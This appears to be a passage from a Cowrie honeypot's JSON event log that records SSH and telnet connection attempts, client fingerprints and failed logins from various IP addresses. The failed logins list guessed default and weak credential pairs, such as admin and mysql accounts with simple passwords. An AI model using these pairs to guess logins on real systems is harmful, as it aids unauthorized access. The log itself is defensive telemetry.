{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:24.922896Z","src_ip":"41.63.62.103","session":"a1312fbde554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":53024,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f5aaf5c2314","protocol":"telnet","message":"New connection: 185.53.58.141:53024 (10.17.0.5:23) [session: 5f5aaf5c2314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:36.171626Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":42704,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a999cdb3cc2","protocol":"ssh","message":"New connection: 14.225.205.58:42704 (10.17.0.5:22) [session: 9a999cdb3cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:39.086223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:39.089900Z","src_ip":"14.225.205.58","session":"9a999cdb3cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:39.364118Z","src_ip":"14.225.205.58","session":"9a999cdb3cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!@#","message":"login attempt [admin/!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:40.494647Z","src_ip":"14.225.205.58","session":"9a999cdb3cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:36:41.772195Z","src_ip":"14.225.205.58","session":"9a999cdb3cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":35732,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c6ebb440103","protocol":"ssh","message":"New connection: 201.184.50.251:35732 (10.17.0.5:22) [session: 5c6ebb440103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:00.689641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:00.693693Z","src_ip":"201.184.50.251","session":"5c6ebb440103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:00.796770Z","src_ip":"201.184.50.251","session":"5c6ebb440103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"test","message":"login attempt [master/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:01.241790Z","src_ip":"201.184.50.251","session":"5c6ebb440103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:02.347276Z","src_ip":"201.184.50.251","session":"5c6ebb440103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16103720664978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:07.332522Z","src_ip":"185.53.58.141","session":"5f5aaf5c2314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":56784,"dst_ip":"10.17.0.5","dst_port":22,"session":"e37710d694e1","protocol":"ssh","message":"New connection: 41.63.62.103:56784 (10.17.0.5:22) [session: e37710d694e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:26.039268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:26.043963Z","src_ip":"41.63.62.103","session":"e37710d694e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:26.307382Z","src_ip":"41.63.62.103","session":"e37710d694e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansadmin","password":"1234","message":"login attempt [ansadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:27.394958Z","src_ip":"41.63.62.103","session":"e37710d694e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:28.662520Z","src_ip":"41.63.62.103","session":"e37710d694e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.241.79.66","src_port":44300,"dst_ip":"159.203.135.109","dst_port":22,"session":"df73532f2698","protocol":"ssh","message":"New connection: 120.241.79.66:44300 (159.203.135.109:22) [session: df73532f2698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:32.833039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:34.335962Z","src_ip":"120.241.79.66","session":"df73532f2698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":51976,"dst_ip":"10.17.0.5","dst_port":22,"session":"033288be5fa1","protocol":"ssh","message":"New connection: 14.225.205.58:51976 (10.17.0.5:22) [session: 033288be5fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:35.115749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:35.120593Z","src_ip":"14.225.205.58","session":"033288be5fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:35.384473Z","src_ip":"14.225.205.58","session":"033288be5fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test03","password":"test","message":"login attempt [test03/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:36.474734Z","src_ip":"14.225.205.58","session":"033288be5fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:37.741830Z","src_ip":"14.225.205.58","session":"033288be5fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":53562,"dst_ip":"10.17.0.5","dst_port":22,"session":"12ca06a874f4","protocol":"ssh","message":"New connection: 103.129.221.202:53562 (10.17.0.5:22) [session: 12ca06a874f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:38.603794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:38.609488Z","src_ip":"103.129.221.202","session":"12ca06a874f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:38.854979Z","src_ip":"103.129.221.202","session":"12ca06a874f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456789","message":"login attempt [mysql/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:39.871233Z","src_ip":"103.129.221.202","session":"12ca06a874f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:41.120790Z","src_ip":"103.129.221.202","session":"12ca06a874f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":52468,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5d1f5c62963","protocol":"ssh","message":"New connection: 201.184.50.251:52468 (10.17.0.5:22) [session: d5d1f5c62963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:53.062234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:53.066492Z","src_ip":"201.184.50.251","session":"d5d1f5c62963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:53.147160Z","src_ip":"201.184.50.251","session":"d5d1f5c62963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"@dm!n","message":"login attempt [admin/@dm!n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:53.503490Z","src_ip":"201.184.50.251","session":"d5d1f5c62963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:37:54.586289Z","src_ip":"201.184.50.251","session":"d5d1f5c62963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.132.30","src_port":51476,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e3c27019c06","protocol":"telnet","message":"New connection: 194.163.132.30:51476 (159.203.135.109:23) [session: 3e3c27019c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:05.054156Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":59932,"dst_ip":"10.17.0.5","dst_port":22,"session":"916c3e2d7392","protocol":"ssh","message":"New connection: 41.63.62.103:59932 (10.17.0.5:22) [session: 916c3e2d7392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:32.367475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:32.371999Z","src_ip":"41.63.62.103","session":"916c3e2d7392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:32.636007Z","src_ip":"41.63.62.103","session":"916c3e2d7392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"rusty","message":"login attempt [guest/rusty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:33.723321Z","src_ip":"41.63.62.103","session":"916c3e2d7392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:34.991204Z","src_ip":"41.63.62.103","session":"916c3e2d7392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":48502,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d4dd38ea272","protocol":"ssh","message":"New connection: 14.225.205.58:48502 (10.17.0.5:22) [session: 6d4dd38ea272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:36.050422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:36.054452Z","src_ip":"14.225.205.58","session":"6d4dd38ea272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.042309045791626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:36.096351Z","src_ip":"194.163.132.30","session":"3e3c27019c06","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-2